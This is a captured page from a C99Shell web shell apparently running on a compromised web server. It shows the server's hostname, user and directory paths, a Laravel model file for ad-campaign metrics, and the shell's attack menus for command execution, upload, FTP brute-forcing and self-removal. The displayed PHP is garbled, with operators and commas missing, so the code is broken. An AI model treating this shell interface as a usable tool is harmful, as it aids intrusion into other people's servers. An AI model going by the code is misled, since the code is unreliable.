!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 25.01 GB of 117.98 GB (21.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignPerformance.php (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
CampaignPerformance extends Model
{
    protected 
$fillable = [
        
'campaign_id',
        
'date',
        
'spend',
        
'impressions',
        
'clicks',
        
'conversions',
        
'ctr',
        
'revenue',
        
'roi',
        
'country',
        
'device_type',
        
'hilltop_campaign_id',
    ];

    protected 
$casts = [
        
'spend' => 'decimal:2',
        
'ctr' => 'decimal:2',
        
'revenue' => 'decimal:2',
        
'roi' => 'decimal:2',
        
'date' => 'date',
    ];

    
/**
     * Scope a query to filter by date range
     */
    
public function scopeDateRange($query$startDate$endDate)
    {
        return 
$query->whereBetween('date', [$startDate$endDate]);
    }

    
/**
     * Scope a query to filter by country
     */
    
public function scopeCountry($query$country)
    {
        return 
$query->where('country'$country);
    }

    
/**
     * Scope a query to filter by device type
     */
    
public function scopeDeviceType($query$deviceType)
    {
        return 
$query->where('device_type'$deviceType);
    }

    
/**
     * Calculate CTR if not already set
     */
    
public function calculateCtr()
    {
        if (
$this->impressions 0) {
            return 
round(($this->clicks $this->impressions) * 1002);
        }
        return 
0;
    }

    
/**
     * Calculate ROI if not already set
     */
    
public function calculateRoi()
    {
        if (
$this->spend 0) {
            return 
round($this->revenue $this->spend2);
        }
        return 
0;
    }

    public function 
campaign()
    {
        return 
$this->belongsTo(Campaign::class);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--